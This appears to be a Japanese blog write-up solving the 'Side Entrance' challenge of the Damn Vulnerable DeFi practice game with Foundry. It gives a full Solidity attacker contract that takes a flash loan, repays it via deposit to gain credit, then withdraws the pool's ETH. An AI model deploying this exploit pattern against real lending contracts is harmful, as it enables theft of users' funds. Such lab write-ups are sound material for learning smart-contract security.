#チャレンジ#4 - サイドエントランス
Solidity と Foundry のシステム的な学習のために、私は Foundry テストフレームワークを使用して damnvulnerable-defi の解答を再度書き直しました。交流や共同開発を歓迎します〜🎉
コントラクト#
- SideEntranceLenderPool:deposit と withdraw メソッドを提供し、フラッシュローンをサポートします。
スクリプト#
- SideEntranceLenderPool コントラクトのデプロイ
- プールに ETH 数 ETHER_IN_POOL をデポジット
- 攻撃スクリプトを実行
- プールの残高が 0 であり、プレイヤーの残高が ETHER_IN_POOL よりも大きいことを期待します。
解答#
この問題の攻略ポイントは、deposit+withdraw です。まず、フラッシュローンを使用して ETH を取得し、deposit を呼び出して証明書を取得し、フラッシュローンを終了した後に withdraw を使用して ETH を引き出すことができます。全体のフローチャートは次のようになります:
- プールの flashLoan メソッドが呼び出されると、
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
が呼び出されます。したがって、攻撃コントラクトではexecute
メソッドを実装する必要があります。これにより、deposit が行われ、フラッシュローンの返済が完了し、預金証明書が追加で記録されます。 - プレイヤーは、withdraw メソッドを呼び出してプールから対応する ETH を引き出し、すべてをプレイヤーに移動させることで攻撃を完了します。
以下はコントラクトのコードです:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/side-entrance/SideEntranceLenderPool.sol";
contract Attacker {
SideEntranceLenderPool pool;
address owner;
constructor(address _pool){
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
receive() external payable {
payable(owner).transfer(msg.value);
}
function attack(uint256 amount) external payable{
pool.flashLoan(amount);
}
function execute() external payable{
uint256 value = msg.value;
// deposit
pool.deposit{value: value}();
}
function withdraw() external{
pool.withdraw();
}
}